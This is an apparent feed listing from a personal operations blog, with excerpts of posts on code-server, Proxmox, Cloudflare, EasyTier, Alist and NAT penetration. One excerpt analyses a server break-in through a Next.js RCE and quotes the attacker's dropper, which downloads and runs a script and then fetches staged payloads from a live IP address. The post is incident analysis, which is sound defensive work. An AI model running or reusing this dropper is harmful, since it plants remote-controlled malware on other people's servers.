iYoRoy's Develop Diary - Ops
type: channel
link: https://www.iyoroy.cn/en/category/Ops/
items: Leveraging systemd Features to Build a Multi-tenant CodeServer
items: The Reverse Engineering Journey: Analyzing a Server Compromise via RCE from CVE-2025-66478 and CVE-2025-55182
items: An Experience of Manually Installing Proxmox VE, Configuring Multipath iSCSI, and NAT Forwarding
items: Enabling Cloudflare SaaS Integration for International Traffic Routing on Your Blog
items: Centralized Deployment of EasyTier using Docker
items: Using Alist to Sync TrueNAS to OneDrive
items: Using Home Broadband without Public IP + CDNfly to Host a Website

Leveraging systemd Features to Build a Multi-tenant CodeServer
type: item
date: 2026-06-06T07:34:00+00:00
description: Analysis The motivation came from a university Python course – I didn't want to bring my heavy laptop to every class, so I tried to see if a tablet could do the job. After some searching, I found coder/code-server: VS Code in the browser which fit the requirements perfectly while also being cross-platform. I deployed it for myself, but later my friends also wanted access. That got me thinking about how to support multi-tenancy and security simultaneously. Initially I considered containerization, but because of the need to install new pip packages, containers would have been tricky – I would have had to persist Python site-packages and everything, and performance would suffer. So I decided to stick with a binary deployment. The requirements are simple, roughly summarized as follows: Each user can log into CodeServer using their own domain name. Each user can change their own login password. Each user's Python environment is completely isolated and can independently install pip packages. Users should not be able to access each other's files. Prevent users from accidentally deleting critical system components. Prevent users from accidentally writing infinite loops or similar that exhaust server resources. Prevent users from using the server for cryptocurrency mining or as a jump box for attacks. After analysis and discussions with AI, the final solution is roughly as follows: Use Linux's native multi-user mechanism – each user runs a CodeServer under their own home directory for basic isolation. This easily satisfies requirements 1, 4 and 5. Listening ports are calculated based on UID. Create a venv manually for each user and activate it automatically via .bashrc to satisfy requirement 3. Use systemd's restrictions to limit process behavior, achieving requirements 6–7 to a certain extent. Use systemd's path mechanism to monitor $HOME/.config/code-server/config.yaml and automatically restart the daemon, allowing users to change their login password by modifying the conf…

The Reverse Engineering Journey: Analyzing a Server Compromise via RCE from CVE-2025-66478 and CVE-2025-55182
type: item
date: 2025-12-06T15:53:00+00:00
description: Background It was Saturday evening, and I was resting when Alibaba Cloud suddenly called, saying the server might have been hacked by intruders. I logged into the Alibaba Cloud console to check: What I had been worrying about finally happened. The recently disclosed CVE-2025-55182 vulnerability is exploitable for RCE (Remote Code Execution). The Umami analytics tool running on my server used a vulnerable version of Next.JS. Earlier in the morning, I had manually updated my Umami, but it seems the official patch had not been released yet. The server alert originated from the umami container, which executed a remote shell script. As a CTFer, it's hard to resist analyzing a sample delivered right to your doorstep, right? Analysis The Script The warning from Alibaba Cloud showed the execution of a shell script: /bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh I tried to manually download that python1.sh: export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp cd /tmp touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/ touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/ touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/ rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex export PATH=$PATH:$(pwd) l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true" l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true" a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true" a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true" v="042d0094tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http…

An Experience of Manually Installing Proxmox VE, Configuring Multipath iSCSI, and NAT Forwarding
type: item
date: 2025-11-29T09:39:00+00:00
description: The reason was that I rented a physical server, but the IDC did not provide Proxmox VE or Debian system images, only Ubuntu, CentOS, and Windows series. Additionally, the data disk was provided via multipath iSCSI. I wanted to use PVE for isolating different usage scenarios, so I attempted to reinstall the system and migrate the aforementioned configurations. Backup Configuration First, perform a general check of the system, which reveals: The system has two Network Interfaces: enp24s0f0 is connected to a public IP address for external access; enp24s0f1 is connected to the private network address 192.168.128.153. The data disk is mapped to /dev/mapper/mpatha. Under /etc/iscsi, there are configurations for two iSCSI Nodes: 192.168.128.250:3260 and 192.168.128.252:3260, both corresponding to the same target iqn.2024-12.com.ceph:iscsi. It can be inferred that the data disk is mounted by configuring two iSCSI Nodes and then merging them into a single device using multipath. Check the system's network configuration: network: version: 2 renderer: networkd ethernets: enp24s0f0: addresses: [211.154.[REDACTED]/24] routes: - to: default via: [REDACTED] match: macaddress: ac:1f:6b:0b:e2:d4 set-name: enp24s0f0 nameservers: addresses: - 114.114.114.114 - 8.8.8.8 enp24s0f1: addresses: - 192.168.128.153/17 match: macaddress: ac:1f:6b:0b:e2:d5 set-name: enp24s0f1 It's found to be very simple static routing. The internal network interface doesn't even have a default route; just binding the IP is sufficient. Then, save the iSCSI configuration files from /etc/iscsi, which include account and password information. Reinstall Debian Used the bin456789/reinstall script for this reinstallation. Download the script: curl -O https://cnb.cool/bin456789/reinstall/-/git/raw/main/reinstall.sh || wget -O ${_##*/} $_ Reinstall as Debian 13 (Trixie): bash reinstall.sh debian 13 Then, enter the password you want to set as prompted. If all goes well, wait about 10 minutes, and it will automatically c…

Enabling Cloudflare SaaS Integration for International Traffic Routing on Your Blog
type: item
date: 2025-05-15T13:59:00+00:00
description: While Cloudflare CDN's performance within mainland China leaves much to be desired, it remains highly capable for serving content to international audiences. However, Cloudflare phased out the traditional CNAME setup method some time ago. This article focuses on achieving a similar outcome using SaaS (SSL for SaaS) integration, which requires a credit card for activation. Prerequisites A valid credit card (with card number, security code) or a linked PayPal account. Note: You will not be charged if you stay under the 100 custom hostname limit. A Fallback Origin Domain – this must be different from your primary domain that visitors use to access your site (a requirement for Cloudflare setup). Your Primary Domain (the domain your visitors use). To implement separate DNS resolution for mainland China and other regions, the primary domain used for normal access should not be added to Cloudflare directly via the usual "Add a Site" method. In this guide, the primary domain is: www.iyoroy.cn, and the fallback domain is: nekonya.cloud. Process Adding the Fallback Domain to Cloudflare Register a Cloudflare account and follow the standard procedure to change your domain's nameservers to Cloudflare's: Select the Free plan: Update your domain's nameservers at your registrar as instructed: Wait for the nameserver changes to propagate. You can then manage the fallback domain's DNS through Cloudflare. Adding Payment Method & Enabling SaaS Inside the Cloudflare dashboard for your fallback domain, navigate to SSL/TLS -> Custom Hostnames. Click Enable Cloudflare for SaaS: Enter your credit card information and save it. Then, proceed to activate the SaaS plan: Creating DNS Record for Fallback Origin & Setting up Custom Hostnames Go to DNS -> Records in your fallback domain's dashboard. Create a new record pointing to your origin server: Here, my fallback origin is cname.nekonya.cloud, using a CNAME record (A or AAAA records are also perfectly valid). Ensure the orange-cloud proxy is e…

Centralized Deployment of EasyTier using Docker
type: item
date: 2025-04-14T17:04:00+00:00
description: EasyTier is inherently a decentralized P2P tool where any node can act as a relay server. However, each node's configuration file must be manually edited, which felt somewhat unfamiliar after migrating from Tailscale. Additionally, during the exploration phase, frequent configuration changes are often needed, leading to the decision to deploy EasyTier's Dashboard centrally for unified device management. Project Repository: https://github.com/easytier/easytier The official documentation doesn't explicitly provide a method for deploying the config-server separately, but it's actually quite straightforward, as the server component is already included in the downloaded binary file. This article focuses on installation via Docker Compose. For binary installation, please refer to the reference articles below. Analysis The dashboard deployment consists of two main parts: a backend RESTful API and a frontend web console. The easytier-web-embed binary found in the Releases provides both. Therefore, running this single binary enables the full functionality. Let's Get Started Deploying the API and Web Console Deploying with Docker is straightforward. Two ports need to be exposed: 11211/tcp: API interface, HTTP 22020/udp: For communication between clients (easytier-core) and the server. Volume mapping is required for the container's /app folder to persist data. The Compose file is as follows: services: easytier: restart: always hostname: easytier volumes: - /opt/easytier/api:/app ports: - "127.0.0.1:11211:11211" - "22020:22020/udp" environment: - TZ=Asia/Shanghai image: easytier/easytier:latest entrypoint: easytier-web-embed The image here is the same one used for deploying the client via Docker in the official documentation. The default entrypoint is easytier-core, so running the web API requires specifying the entrypoint as easytier-web-embed. Since the API interface requires HTTPS, the 11211 port is not directly exposed to the public internet here. Instead, it's bound to 127…

Using Alist to Sync TrueNAS to OneDrive
type: item
date: 2025-03-12T16:39:00+00:00
description: Background I have an E5 subscription and was originally using a solution involving running the driveone/onedrive:edge Docker container to achieve synchronization. However, this solution had drawbacks: firstly, it lacked a GUI/WebUI, and secondly, each sync operation would consume 25%-50% of CPU resources. Considering that TrueNAS's built-in sync solution can sync to WebDAV, I thought of using Alist to mount OneDrive and convert it into WebDAV for TrueNAS to mount. Process Installing Alist Create a persistent storage folder for Alist and write a Docker Compose file according to the official Alist documentation: services: alist: environment: - PUID=3000 - PGID=950 - UMASK=022 image: xhofe/alist:latest ports: - '8088:5244' restart: always volumes: - /mnt/systemdata/DockerData/alist/etc:/opt/alist/data - /mnt/data/Storage:/mnt/data Here, I exposed the Alist port on 8088. Mapping /mnt/data/Storage allows Alist to manage local storage; mapping /mnt/systemdata/DockerData/alist/etc serves as the folder for storing Alist data. Configuring OneDrive on Alist is not discussed in this article; please refer to the official Alist documentation. Here, I mounted my OneDrive at /OneDrive. After setup, go to the Alist admin panel -> Users, edit your user or create a new user, and check the Webdav Read and Webdav Manage permissions to enable WebDAV access for this user. Configuring TrueNAS Sync Go to TrueNAS Admin-Credentials-Backup Credentials, and add a Cloud Credential with the following parameters: Provider: WebDAV Name: Custom URL: Alist address +/dav, e.g., I used http://127.0.0.1:8088/dav WebDAV Service: OTHER Username和Password: Alist account credentials Verify the credential and save it if successful. Next, go to TrueNAS Admin -> Data Protection, and add a Cloud Sync Task. Under Provider, select the WebDAV credential for Alist created earlier. The parameters are explained in detail below: Direction: Choose PULL (cloud to local) or PUSH (local to cloud) Transfer Mode: COPY: Copy…

Using Home Broadband without Public IP + CDNfly to Host a Website
type: item
date: 2025-03-09T06:33:00+00:00
description: Introduction As is well known, hosting a website with home broadband usually requires a public IP address. However, in certain cases without a public IP, it is possible to expose an HTTP port on the carrier's exit IP for external connections through special methods, i.e., NAT penetration (this is different from FRP, ngrok, or Oray-like intranet penetration, as it does not require a server). Prerequisites Download NatTypeTester to check your NAT type. Please refer to relevant materials for details on NAT types. Ensure your network environment meets the following conditions: Under RFC3489, the NAT type must be Full Cone. Under RFC5780, the TCP mapping behavior must be EndpointIndependent. If UDPBlocked appears, change the server. Methods to Improve NAT Type Reduce the number of router layers. If using modem dial-up, connect the device directly under the modem. For multi-layer routing, connect the device directly under the top router. Enable UPnP on the router. Set the DMZ host to the server IP. Getting Started We use Lucky as the NAT penetration tool, deployed on TrueNAS via Docker Compose. TrueNAS locally has port 9080 open for HTTP. Deploying a web server is not covered in this article. Installing Lucky Follow the official guide and write a Docker Compose file: services: lucky: image: gdy666/lucky network_mode: host restart: always volumes: - /mnt/systemdata/DockerData/lucky/luckyconf:/goodluck Modify the persistent storage path to your own. Note: network_mode must be host. It can be deployed without host, but that is not discussed here. After installation, open http://[YourIP]:16601. The default username is 666 and password is 666. After logging in, modify security settings as required. Configuring Penetration Open STUN Intranet Penetration on the left side of the Lucky page and create a penetration rule. Fill in the local port with any port (ensure it does not conflict with local services), and the target address and port with the IP and port of the web service on…